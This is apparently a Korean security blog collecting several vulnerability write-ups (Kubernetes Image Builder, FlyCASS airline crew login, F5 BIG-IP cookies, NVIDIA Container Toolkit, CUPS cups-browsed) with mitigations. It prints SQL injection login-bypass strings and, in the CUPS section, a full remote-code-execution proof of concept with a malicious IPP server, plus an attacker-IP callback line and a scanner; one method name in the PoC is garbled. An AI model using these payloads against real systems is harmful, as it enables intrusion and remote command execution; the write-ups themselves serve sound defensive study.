1. Kubernetes (K8s) [1]

- 컨테이너화된 애플리케이션을 자동으로 배포, 스케일링 및 관리하기 위한 오픈소스 플랫폼

 

1.1 Kubernetes Image Builder [2]

- 여러 인프라 공급자에 걸쳐 Kubernetes 가상 머신 이미지를 빌드하기 위한 도구

2. 취약점

2.1 CVE-2024-9486 [3]

[사진 1] CVE-2024-9486

- Kubernetes Image Builder의 기본 자격 증명 비활성화 취약점 (CVSS: 9.8)

> 공격자는 SSH 연결 후 기본 자격 증명을 사용해 root 권한을 얻을 수 있음

영향받는 버전: Kubernetes Image Builder <= v0.1.37

 

- Kubernetes Image Builder에서 이미지 빌드 프로세스 중에 기본 자격 증명이 활성화되는 보안 문제가 발견 [4]
Proxmox 공급자를 사용하여 빌드된 가상 머신 이미지는 기본 자격 증명을 비활성화하지 않아 기본 자격 증명을 통해 액세스가 가능
> 다른 공급자로 빌드된 이미지를 사용하는 VM은 취약점에 영향받지 않음

 

2.2 CVE-2024-9594 [5][6]

[사진 2] CVE-2024-9594

- Kubernetes Image Builder 기본 자격 증명 비활성화 취약점
> Nutanix, OVA, QEMU 또는 원시 공급자로 빌드된 이미지에도 동일한 문제가 존재하나 빌드가 끝난 후 자격증명이 비활성화 됨
> 이미지 빌드가 발생하는 VM에 접근해 이미지 빌드가 발생하는 시점에 취약성을 악용할때만 영향을 받음

영향받는 버전: Kubernetes Image Builder <= v0.1.37

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [7]
> 이미지 빌드 기간 동안 무작위로 생성된 비밀번호를 설정
> 이미지 빌드가 끝나면 빌더 계정이 비활성화

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-9486
CVE-2024-9594
Kubernetes Image Builder v0.1.37 이하 v0.1.38

 

- 사용 중인 Image Builder 버전 확인 방법

구분 설명
이미지 빌더 저장소의 git 복제본의 경우 cd <local path to image builder repo>
make version
Tarball 다운로드를 사용하여 설치하는 경우 cd <local path to install location>
grep -o v0\\.[0-9.]* RELEASE.md | head -1
컨테이너 이미지 릴리스의 경우 docker run --rm <image pull spec> version
또는
podman run --rm <image pull spec> version

공식 이미지의 경우 지정된 이미지 태그 확인
registry.k8s.io/scl-image-builder/cluster-node-image-builder-amd64:v0.1.37

 

- last builder 명령으로 builder 계정 로그인 이력 점검

 

※ 업데이트 적용이 불가할 경우

ⓐ Image Builder의 고정 버전을 사용하여 영향을 받은 모든 이미지를 다시 빌드
> 영향을 받은 모든 VM에 고정된 이미지를 다시 배포

 

ⓑ 업그레이드 전 영향을 받는 VM에서 빌더 계정을 비활성화하면 취약점을 완화할 수 있음
> usermod -L builder

4. 참고

[1] https://kubernetes.io/ko/
[2] https://github.com/kubernetes-sigs/image-builder
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-9486
[4] https://github.com/kubernetes/kubernetes/issues/128006
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-9594
[6] https://github.com/kubernetes/kubernetes/issues/128007
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71571&menuNo=205020
[8] https://thehackernews.com/2024/10/critical-kubernetes-image-builder.html
[9] https://www.bleepingcomputer.com/news/security/critical-kubernetes-image-builder-flaw-gives-ssh-root-access-to-vms/
[10] https://www.theregister.com/2024/10/16/critical_kubernetes_image_builder_bug/
[11] https://www.dailysecu.com/news/articleView.html?idxno=160312

1. 개요

- 해외 보안 연구원에 의해 공항 보안에 사용되는 KCM과 CASS 프로세스에서 SQL Injection 취약점 발견 [1]
- 취약점 악용에 성공할 시 관리자가 되어 항공사에 새로운 직원을 추가하는 등의 악성행위 가능
> 현재는 취약점이 해결되었음

 

2. 주요내용

2.1 KCM (Known Crewmember)

- 조종사와 승무원이 보안 검색을 우회할 수 있도록 해주는 TSA 프로그램
- 직원은 전용 레인을 사용하며, KCM 바코드 또는 직원 번호를 제시해 통과 여부를 결정

※ TSA (Transportation Security Administration) : 미국 교통안전청, 9.11 테러 이후 여객기 등의 운행 안전 필요성이 대두되어 설립

 

2.2 CASS (Cockpit Access Security System)

- 조종사가 조종실의 점프 시트를 사용할 수 있도록 하는 시스템

 

2.3 ARINC

- 항공, 공항, 국방, 정부, 수송분야에서 사용되는 표준과 시스템을 개발 및 제공하는 기업
- TSA와 계약하여 KCM 시스템을 운영하며, 조종사와 승무원이 KCM 상태를 확인할 수 있는 웹 사이트와 항공사 간 승인 요청을 라우팅하는 API 등을 운영
> 각 항공사는 KCM 및 CASS에 참여하기 위해 자체 인증 시스템을 운영하며, ARINC의 허브와 상호작용함
- TSA와 항공사는 CockpitAccessRequest와 CrewVerificationRequest 같은 요청을 ARINC로에 보낼 수 있으며, ARINC는 이를 적절한 항공사 시스템으로 라우팅

 

2.4 FlyCASS.com

- 소규모 항공사를 위해 KCM, CASS 운영하며, 모든 항공사가 자체 로그인 페이지를 가지고 있음
- 로그인 페이지에서 SQL Injection 취약점을 테스트(username에 ` 입력)한 결과 MySQL 오류 발생
sqlmap을 사용해 관리자로 FlyCASS에 로그인 성공
username : ' or '1'='1 / password : ') OR MD5('1')=MD5('1

※ sqlmap : SQL Injection을 감지 및 악용할 수 있는 Python 으로 작성된 오픈 소스 침투 테스트 도구 [2]

잘못된 SQL 문법 등의 경우 반환되는 에러 메시지를 통해 데이터베이스 정보를 획득할 수 있으므로, 에러 메시지를 출력하지 않도록 조치 필요

[사진 1] MySQL 오류

2.5 KCM, CASS 관리자

- FlyCASS에 SQL Injection 취약점을 악용해 관리자 권한으로 접근이 가능
직원(조종사, 승무원) 목록을 확인하거나 추가 인증 없이 새로운 직원을 추가할 수 있었음

[사진 2] 관리자 계정 접근 성공

- 테스트를 위해 Test TestOnly 직원 추가 및 KCM, CASS 접근 권한을 부여하는데 성공
SQL Injection에 기본적인 지식이 있는 누구나 KCM, CASS에 임의의 직원을 추가할 수 있는 심각한 문제

[사진 3] Test TestOnly 사용자 추가 성공

2.6 공개 및 기타 [3]

- 미국 국토안보부(United States Department of Homeland Security, DHS)에 문제를 공개
- 이후 FlyCASS는 KCM, CASS에서 비활성화
- TSA는 취약점을 부인하는 성명을 발표했으며, DHS는 초기에 신속하고 전문적으로 처리했으나, 이후 과정에서 상급 기관으로써의 역할을 제대로 수행하지 못함
- 비밀번호를 저장하는데 MD5 해시를 사용한 것 또한 문제

3. 참고

[1] https://ian.sh/tsa
[2] https://sqlmap.org/
[3] https://news.ycombinator.com/item?id=41392128

1. 개요

- CISA는 F5 BIG-IP LTM(로컬 트래픽 관리자, Local Traffic Manager) 모듈에서 생성된 쿠키를 악용한 내부 네트워크 탐색에 대해 경고 [1]
- 공격자는 숨겨진 내부 장비를 찾아내고 이를 타켓으로 삼아 침투할 수 있는 취약점을 찾는데 사용할 수 있음

 

2. 주요내용

- F5 BIG-IP: 애플리케이션 배포 및 트래픽 관리 도구로, 웹 애플리케이션의 로드 밸런싱과 보안을 제공하는 솔루션
> LTM 모듈: 트래픽을 관리하고 로드 밸런싱을 통해 네트워크 트래픽을 여러 서버에 분산

 

- LTM 모듈은 세션 일관성을 유지하기 위해 쿠키를 사용
해당 쿠키를 통해 사용자가 동일한 백엔드 서버로 지속적으로 접속할 수 있도록 함
> 그러나, 해당 쿠키는 기본적으로 암호화되지 않은 상태로 설정되어 있음

 

내부 서버 IP 주소, 포트 번호, 로드 밸런싱 설정 등의 정보가 암호화 없이 쿠키에 포함되어 있음
쿠키에서 얻은 정보를 기반으로 네트워크 내 추가 자원을 식별하거나 취약점을 찾아 악용할 수 있음

 

- F5는 BIG-IP 11.5.0부터 모든 쿠키를 암호화할 수 있는 'Required' 옵션 제공 [2][3]
> 쿠키 암호화가 활성화되면 BIG-IP LTM 시스템은 192-Bit AES 암호화 후 Base64 인코딩하여 HTTP 응답에 포함
> 클라이언트가 암호화된 쿠키를 전송한 경우 BIG-IP LTM은 Base64 디코딩 후 복호화한 후 HTTP 요청에 복호화된 쿠키를 포함

 

3. 참고

[1] https://www.cisa.gov/news-events/alerts/2024/10/10/best-practices-configure-big-ip-ltm-systems-encrypt-http-persistence-cookies
[2] https://my.f5.com/manage/s/article/K14784
[3] https://my.f5.com/manage/s/article/K23254150
[4] https://www.dailysecu.com/news/articleView.html?idxno=160113

1. NVIDIA Container Toolkit [1]

- 컨테이너 런타임 라이브러리와 NVIDIA GPU를 활용하도록 컨테이너를 자동으로 구성하는 유틸리티가 포함
- Docker 컨테이너 내에서 NVIDIA GPU를 효율적으로 활용할 수 있도록 만들어진 도구
> 일반적인 환경에서 Docker를 동작 시키면 Host의 CPU를 기반으로 Docker가 생성되며, GPU를 사용할 수 없음
> 과거에는 GPU를 사용하기 위해 컨테이너 내에 NVIDIA GPU 드라이버를 설치하였으나, 안전성-하드웨어와 컨테이너의 드라이버 버전을 매번 맞춰야하는-문제가 있음
> NVIDIA Container Toolkit은 Container에서 GPU를 사용시 libcuda.so와 같은 Host에 있는 CUDA Toolkit들을 마운트해주는 역할

※ CUDA(Computed Unified Device Architecture) Toolkit: 고성능 GPU 가속 애플리케이션을 만드는 개발 환경을 제공 [2]

 

2. 취약점 [3]

2.1 CVE-2024-0132

[사진 1] CVE-2024-0132 [4]

- NVIDIA Container Toolkit에서 발생하는 TOCTOU 취약점 (CVSS: 9.0)

> 악성 이미지를 통해 실행되는 컨테이너를 탈출해 호스트 시스템에 대한 전체 액세스 권한을 얻을 수 있음

> 악용에 성공할 경우 코드 실행, 서비스 거부(DoS), 권한 상승, 정보 유출, 데이터 변조 등의 공격을 유발할 수 있음

※ 구체적인 기술적 세부 사항은 공개하지 않음

영향받는 버전: NVIDIA Container Toolkitv 1.16.1 이하 버전

2.1.1 TOCTOU (Time-Of-Check to Time-Of-Use) 취약점

자원을 사용하는 시점과 검사하는 시점이 달라서 자원의 상태변동으로 야기되는 Race Condition 취약점

> 병렬시스템(멀티프로세스로 구현한 응용프로그램)에서는 자원(파일, 소켓 등)을 사용하기에 앞서 자원의 상태를 검사

> 하지만, 자원을 사용하는 시점과 검사하는 시점이 다르기 때문에, 검사하는시점(Time Of Check)에 존재하던 자원이 사용하던 시점(Time Of Use)에 사라지는 등 자원의 상태가 변하는 경우가 발생

동기화 구문을 통해 한번에 하나의 프로세스만 공유자원에 접근 가능하도록 처리

> 성능에 미치는 영향을 최소화하기 위해 임계코드 주변만(동기화가 필요한 부분만) 동기화 구문을 사용

2.1.2 공격 과정

[영상 1] 공격 과정 [5]

① 공격자는 악성 이미지를 제작해 유포한 후 대상 플랫폼에서 악성 이미지 실행
> 공급망 또는 사회공학적기법을 사용해 이미지 실행을 유도
② CVE-2024-0132를 악용해 호스트 파일 시스템에 엑세스
③ Container Runtime Socket을 이용해 호스트 시스템에서 임의의 명령 실행
> docker.sock 및 containerd.sock 악용: root 권한으로 호스트 시스템에서 컨테이너로 임의의 명령을 실행할 수 있음

 

2.2 CVE-2024-0133

[사진 2] CVE-2024-0133 [6]

- 컨테이너 이미지가 호스트 파일 시스템에 빈 파일을 생성할 수 있는 취약점

영향받는 버전: NVIDIA Container Toolkitv 1.16.1 이하 버전

 

※ 두 취약점 모두 CDI (Container Device Interface)가 사용되는 경우 영향받지 않음
> CDI (Container Device Interface): 컨테이너 런타임에서 NVIDIA GPU와 같은 복잡한 디바이스에 대한 액세스를 표준화 [7]

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [8][9]

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-0132
CVE-2024-0133
NVIDIA Container Toolkit v1.16.1 이하 v1.16.2
NVIDIA GPU Operator v24.6.1 이하 v24.6.2

4. 참고

[1] https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/index.html
[2] https://developer.nvidia.com/cuda-toolkit
[3] https://www.wiz.io/blog/wiz-research-critical-nvidia-ai-vulnerability
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-0132
[5] https://www.youtube.com/watch?v=kslKQMgWMzY
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-0133
[7] https://docs.nvidia.com/datacenter/cloud-native/gpu-operator/latest/cdi.html
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71562&menuNo=205020
[9] https://nvidia.custhelp.com/app/answers/detail/a_id/5582
[10] https://thehackernews.com/2024/09/critical-nvidia-container-toolkit.html

1. CUPS(Common Unix Printing System) [1]

- 유닉스 계열 표준 인쇄 시스템

- CUPS는 0.0.0.0:631(UDP)에서 수신 대기중

>  IP가 0.0.0.0인 것은 모든 네트워크 인터페이스에서 수신을 대기라고 응답한다는 것을 의미

[사진 1] netstat -anu

- cups-browsed는 CUPS 시스템의 일부로, 새로운 프린터를 발견하고 자동으로 시스템에 추가해줌

> root로 실행

> /etc/cups/cups-browsed.conf를 설정하여 접근 가능 여부를 설정할 수 있음

[사진 2] cups-browsed

2.취약점 [2]

- CUPS의 cups-browsed 데몬에서 발생하는 취약점

> 공격자가 취약점을 연계하여 악용할 경우 네트워크를 통해 악성 프린터를 추가하고, 사용자가 인쇄 작업을 시작할 때 임의의 코드를 실행할 수 있음

 

- Akamai의 연구에 따르면 DDoS 공격에 활용될 경우 600배 증폭될 수 있음을 확인 [3]

> 공격자가 CUPS 서버를 속여 대상 장치를 추가할 프린터로 처리하도록 할 때 발생
> 취약한 CUPS 서버로 전송된 각 패킷은 대상 장치를 겨냥한 더 큰 IPP/HTTP 요청을 생성
> 공격 대상과 CUPS 서버 모두에 대역폭과 CPU 리소스 소모를 유발

[사진 3] Shodan title:"CUPS" 검색 결과

서비스명 영향받는 버전
cups-browsed 2.0.1 이하
libcupsfilters 2.1b1 이하
libppd 2.1b1 이하
cups-filters 2.0.1 이하

 

2.1 주요내용

2.1.1 CVE-2024-47176

- CUPS의 cups-browsed는 631포트로 모든 네트워크 인터페이스의 모든 패킷을 신뢰([사진 1] 0.0.0.0:631)

> 공격자는 자신이 제어하는 IPP 서버(이하 악성 IPP 서버)를 시작한 다음 대상 시스템으로 UDP 패킷 전송

> 피해 시스템이 공격자가 제어하는 IPP 서버에 다시 연결되고 User-Agent 헤더에 CUPS 및 커널 버전 정보가 공개됨

0 3 hxxp://<ATACKER-IP>:<PORT>/printers/whatever

[사진 4] CVE-2024-47176 [4]

2.1.2 CVE-2024-47076

- 피해 시스템은 악성 IPP 서버에 프린터 속성을 요청하며 악성 IPP 서버는 기본 프린터 속성을 전송

> libcupsfilters.cfGetPrinterAttributes()반환된 IPP 속성을 검증하거나 정리하지 않고 반환된 IPP 속성을 기반으로 임시 PPD 파일을 생성

※ libcupsfilters: 프린터 애플리케이션에서 필요한 데이터 형식 변환 작업에 사용되는 라이브러리 함수
※ PostScript Printer Description (PPD): PostScript 프린터의 설정 정보뿐만 아니라 일련의 PostScript 명령 코드도 포함

[사진 5] CVE-2024-47076 [5]

2.1.3 CVE-2024-47175

- 공격자는 FoomaticRIPCommandLine을 통해 PPD 파일에 악성 코드 주입

> libppd.ppdCreatePPDFromIPP2()는 임시 PPD 파일에 IPP 속성을 쓸 때 IPP 속성을 검증하거나 정리하지 않아 공격자가 제어하는 ​​데이터를 PPD 파일에 주입할 수 있음

*FoomaticRIPCommandLine : "echo 1 > /tmp /PWNED" // 명령 줄 삽입
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip // CUPS가 /usr /lib/cups/filter/foomatic -rip(FoomaticRIPCommandLine 사용)을 실행하도록 지시

[사진 6] CVE-2024-47175 [6]

2.1.4 CVE-2024-47177

- cups-filters.foomatic-rip은 FoomaticRIPCommandLine 지시문을 통해 임의의 명령 실행을 허용

> foomatic-rip 필터는 FoomaticRIPCommandLine 지시문을 통해 임의의 명령을 실행할 수 있으며, 관련 취약점(CVE-2011-2697, CVE-2011-2964)이 존재하지만 2011년 이후 패치되지 않음

※ CUPS 개발자 문의 결과 수정이 매우 어렵고, Foomatic을 통해서만 지원되는 오래된 프린터 모델이 있기 때문으로 답변 받음

※ cups-filters: CUPS 2.x가 Mac OS가 아닌 시스템에서 사용할 수 있는 백엔드, 필터 및 기타 소프트웨어를 제공

[사진 7] CVE-2024-47177 [7]
[사진 8] 취약점 요약 [8]

2.2 PoC [9]

- 공격자가 제어하는 IPP 서버 정보(def send_browsed_packet) 및 FoomaticRIPCommandLine 지시문을 통한 원격 명령 실행(def printer_list_attributes)

#!/usr/bin/env python3
import socket
import threading
import time
import sys


from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
    OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest


class MaliciousPrinter(behaviour.StatelessPrinter):
    def __init__(self, command):
        self.command = command
        super(MaliciousPrinter, self).__init__()

    def printer_list_attributes(self):
        attr = {
            # rfc2911 section 4.4
            (
                SectionEnum.printer,
                b'printer-uri-supported',
                TagEnum.uri
            ): [self.printer_uri],
            (
                SectionEnum.printer,
                b'uri-authentication-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'uri-security-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-name',
                TagEnum.name_without_language
            ): [b'Main Printer'],
            (
                SectionEnum.printer,
                b'printer-info',
                TagEnum.text_without_language
            ): [b'Main Printer Info'],
            (
                SectionEnum.printer,
                b'printer-make-and-model',
                TagEnum.text_without_language
            ): [b'HP 0.00'],
            (
                SectionEnum.printer,
                b'printer-state',
                TagEnum.enum
            ): [Enum(3).bytes()],  # XXX 3 is idle
            (
                SectionEnum.printer,
                b'printer-state-reasons',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'ipp-versions-supported',
                TagEnum.keyword
            ): [b'1.1'],
            (
                SectionEnum.printer,
                b'operations-supported',
                TagEnum.enum
            ): [
                Enum(x).bytes()
                for x in (
                    OperationEnum.print_job,  # (required by cups)
                    OperationEnum.validate_job,  # (required by cups)
                    OperationEnum.cancel_job,  # (required by cups)
                    OperationEnum.get_job_attributes,  # (required by cups)
                    OperationEnum.get_printer_attributes,
                )],
            (
                SectionEnum.printer,
                b'multiple-document-jobs-supported',
                TagEnum.boolean
            ): [Boolean(False).bytes()],
            (
                SectionEnum.printer,
                b'charset-configured',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'charset-supported',
                TagEnum.charset
            ): [b'utf-8'],
            (
                SectionEnum.printer,
                b'natural-language-configured',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'generated-natural-language-supported',
                TagEnum.natural_language
            ): [b'en'],
            (
                SectionEnum.printer,
                b'document-format-default',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'document-format-supported',
                TagEnum.mime_media_type
            ): [b'application/pdf'],
            (
                SectionEnum.printer,
                b'printer-is-accepting-jobs',
                TagEnum.boolean
            ): [Boolean(True).bytes()],
            (
                SectionEnum.printer,
                b'queued-job-count',
                TagEnum.integer
            ): [Integer(666).bytes()],
            (
                SectionEnum.printer,
                b'pdl-override-supported',
                TagEnum.keyword
            ): [b'not-attempted'],
            (
                SectionEnum.printer,
                b'printer-up-time',
                TagEnum.integer
            ): [Integer(self.printer_uptime()).bytes()],
            (
                SectionEnum.printer,
                b'compression-supported',
                TagEnum.keyword
            ): [b'none'],
            (
                SectionEnum.printer,
                b'printer-privacy-policy-uri',
                TagEnum.uri
            ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
                self.command.encode() +
                b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

        }
        attr.update(super().minimal_attributes())
        return attr

    def ](self, req, _psfile):
        print("target connected, sending payload ...")
        attributes = self.printer_list_attributes()
        return IppRequest(
            self.version,
            StatusCodeEnum.ok,
            req.request_id,
            attributes)


def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
    print("sending udp packet to %s:%d ..." % (ip, port))

    printer_type = 0x00
    printer_state = 0x03
    printer_uri = 'http://%s:%d/printers/NAME' % (
        ipp_server_host, ipp_server_port)
    printer_location = 'Office HQ'
    printer_info = 'Printer'

    message = bytes('%x %x %s "%s" "%s"' %
                    (printer_type,
                     printer_state,
                     printer_uri,
                     printer_location,
                     printer_info), 'UTF-8')

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(message, (ip, port))


def wait_until_ctrl_c():
    try:
        while True:
            time.sleep(300)
    except KeyboardInterrupt:
        return


def run_server(server):
    print('malicious ipp server listening on ', server.server_address)
    server_thread = threading.Thread(target=server.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    wait_until_ctrl_c()
    server.shutdown()


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
        quit()

    SERVER_HOST = sys.argv[1]
    SERVER_PORT = 12345

    command = "echo 1 > /tmp/I_AM_VULNERABLE"

    server = IPPServer((SERVER_HOST, SERVER_PORT),
                       IPPRequestHandler, MaliciousPrinter(command))

    threading.Thread(
        target=run_server,
        args=(server, )
    ).start()

    TARGET_HOST = sys.argv[2]
    TARGET_PORT = 631
    send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)

    print("wating ...")

    while True:
        time.sleep(1.0)

 

[영상 1] 시연 영상

3. 대응방안

- 아직까지 취약점이 해결된 버전이 배포되지 않음 [10]

① CUPS 실행 여부 및 패키지 버전 확인

 ⒜ $ sudo systemctl status cups-browsed

   > 명령 출력 결과가 “Active: inactive (dead)” 포함된 경우 취약점에 영향받지 않음

   > 명령 출력 결과가 “Active: active (running)”이고, 구성 파일 /etc/cups/cups-browsed.conf의 "BrowseRemoteProtocols" 지시문에 "cups" 값이 포함되어 있는 경우
 ⒝ dpkg -l | grep -E 'cups-browsed|cups-filters|libcupsfilters|libppd'

   > CUPS 관련 패키지들의 설치 여부와 버전 정보를 확인하는 명령

 

② cups-browsed 서비스 비활성화 (사용하지 않을 경우)

> $ sudo systemctl stop cups-browsed; sudo systemctl disable cups-browsed

> stop: 단순 중지 / disable: 시스템 부팅 시 자동으로 시작되지 않도록 설정

 

③ 방화벽 설정 강화

> $ sudo ufw deny proto udp from any to any port 631

 

④ 취약 여부를 확인할 수 있는 스캐너 활용 [11]

 ⒜ 동작 과정

   > 기본 HTTP 서버를 설정(RCE 취약점을 악용하지 않으므로 프린터로 식별할 필요가 없음)
   > cups-browsed을 통해 HTTP 서버에 연결하도록 지시하는 UDP 패킷 생성
   > 포트 631의 주어진 범위에 있는 모든 IP로 UDP 패킷 전송
   > 취약한 cups-browsed 인스턴스로 인해 트리거되는 모든 POST 요청을 /printers/ 엔드포인트에 기록합니다. 

 ⒝ 결과

   > 스캔 결과는 총 2개의 Log에 기록

   > cups.log_응답한 장치의 IP&CUOS 버전 정보 기록

   > requests.log_심층 분석에 사용할 수 있는 수신한 원시 HTTP 요청이 기록

#!/usr/bin/env python3
import socket
import ipaddress
import argparse
import threading
import time
import signal
import sys
import os
from http.server import BaseHTTPRequestHandler, HTTPServer


# a simple function to enable easy changing of the timestamp format
def timestamp():
    return time.strftime("%Y-%m-%d %H:%M:%S")


# custom class for handling HTTP requests from cups-browsed instances
class CupsCallbackRequest(BaseHTTPRequestHandler):
    # replace default access log behavior (logging to stderr) with logging to access.log
    # log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent}
    def log_message(self, _format, *_args):
        log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \
                   f'{self.headers["User-Agent"]}\n'
        self.server.access_log.write(log_line)
        self.server.access_log.flush()

    # log raw requests from cups-browsed instances including POST data
    def log_raw_request(self):
        # rebuild the raw HTTP request and log it to requests.log for debugging purposes
        raw_request = f'[{timestamp()}]\n'
        raw_request += f'{self.requestline}\r\n'
        raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items())

        content_length = int(self.headers.get('Content-Length', 0))
        if content_length > 0:
            raw_body = self.rfile.read(content_length)
            self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n')
        else:
            self.server.request_log.write(raw_request.encode('utf-8'))

        self.server.request_log.flush()

    # response to all requests with a static response explaining that this server is performing a vulnerability scan
    # this is not required, but helps anyone inspecting network traffic understand the purpose of this server
    def send_static_response(self):
        self.send_response(200, 'OK')
        self.send_header('Content-Type', 'text/plain')
        self.end_headers()
        self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176')

    # handle GET requests (we don't need to but returning our default response helps anyone investigating the server)
    def do_GET(self):
        self.send_static_response()

    # handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url>
    def do_POST(self):
        # we'll just grab all requests starting with /printers/ to make sure we don't miss anything
        # some systems will check /printers/ first and won't proceed to the full callback url if response is invalid
        if self.path.startswith('/printers/'):
            ip, port = self.client_address

            # log the cups-browsed request to cups.log and requests.logs and output to console
            print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}')
            self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n')
            self.server.cups_log.flush()
            self.log_raw_request()

        self.send_static_response()


# custom class for adding file logging capabilities to the HTTPServer class
class CupsCallbackHTTPServer(HTTPServer):
    def __init__(self, server_address, handler_class, log_dir='logs'):
        super().__init__(server_address, handler_class)
        # create 'logs' directory if it doesn't already exist
        log_dir = 'logs'
        if not os.path.exists(log_dir):
            os.makedirs(log_dir)

        # create three separate log files for easy debugging and analysis
        # access.log    - any web requests
        # cups.log      - ip, port, useragent, and request URL for any request sent to CUPS endpoint
        # requests.log  - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging)
        self.access_log = open(f'{log_dir}/access.log', 'a')
        self.request_log = open(f'{log_dir}/requests.log', 'ab')
        self.cups_log = open(f'{log_dir}/cups.log', 'a')

    def shutdown(self):
        # close all log files on shutdown before shutting down
        self.access_log.close()
        self.request_log.close()
        self.cups_log.close()
        super().shutdown()


# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances
def start_server(callback_server):
    host, port = callback_server.split(':')
    port = int(port)

    if port < 1 or port > 65535:
        raise RuntimeError(f'invalid callback server port: {port}')

    server_address = (host, port)
    _httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest)
    print(f'[{timestamp()}] callback server running on port {host}:{port}...')

    # start the HTTP server in a separate thread to avoid blocking the main thread
    server_thread = threading.Thread(target=_httpd.serve_forever)
    server_thread.daemon = True
    server_thread.start()

    return _httpd


def scan_range(ip_range, callback_server, scan_unsafe=False):
    # the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631
    # we can set the printer to any http server as long as the path starts with /printers/ or /classes/
    # we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8')

    # expand the CIDR notation into a list of IP addresses
    # make scanning only host addresses the default behavior (exclude the network and broadcast address)
    # the user can override this with flag --scan-unsafe
    if scan_unsafe:
        ip_range = list(ipaddress.ip_network(ip_range))
    else:
        ip_range = list(ipaddress.ip_network(ip_range).hosts())

    if len(ip_range) < 1:
        raise RuntimeError("error: invalid ip range")

    print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}')

    # send the CUPS command to each IP on port 631 to trigger a callback to our callback server
    for ip in ip_range:
        ip = str(ip)
        udp_socket.sendto(udp_callback, (ip, 631))


# handle CTRL + C abort
def signal_handler(_signal, _frame, _httpd):
    print(f'[{timestamp()}] shutting down server and exiting...')
    _httpd.shutdown()
    sys.exit(0)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        prog='python3 scanner.py',
        description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances',
        usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337'
    )

    parser.add_argument('--callback', required=True, dest='callback_server',
                        help='the host:port to host the callback server on (must be reachable from target network) '
                             'example: --callback 192.168.0.1:1337')

    parser.add_argument('--targets', required=True, dest='target_ranges',
                        help='a comma separated list of ranges '
                             'example: --targets 192.168.0.0/24,10.0.0.0/8')

    parser.add_argument('--scan-unsafe', required=False, default=False, action='store_true', dest='scan_unsafe',
                        help='Typically the first and last address in a CIDR are reserved for the network address and '
                             'broadcast address respectively. By default we do not scan these as they should not be '
                             'assigned. However, you can override this behavior by setting --scan-unsafe')

    args = parser.parse_args()

    try:
        # start the HTTP server to captures cups-browsed callbacks
        print(f'[{timestamp()}] starting callback server on {args.callback_server}')
        httpd = start_server(args.callback_server)

        # register sigint handler to capture CTRL + C
        signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd))

        # split the ranges up by comma and initiate a scan for each range
        targets = args.target_ranges.split(',')
        print(f'[{timestamp()}] starting scan')
        for target in targets:
            scan_range(target, args.callback_server, args.scan_unsafe)

        print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server')

        # loop until user uses CTRL + C to stop server
        while True:
            time.sleep(1)

    except RuntimeError as e:
        print(e)

 

4. 참고

[1] https://github.com/openprinting/cups
[2] https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
[3] https://www.akamai.com/blog/security-research/october-cups-ddos-threat
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-47176
[5] https://nvd.nist.gov/vuln/detail/CVE-2024-47076
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-47175
[7] https://nvd.nist.gov/vuln/detail/CVE-2024-47177
[8] https://ko.securecodewarrior.com/article/deep-dive-navigating-the-critical-cups-vulnerability-in-gnu-linux-systems
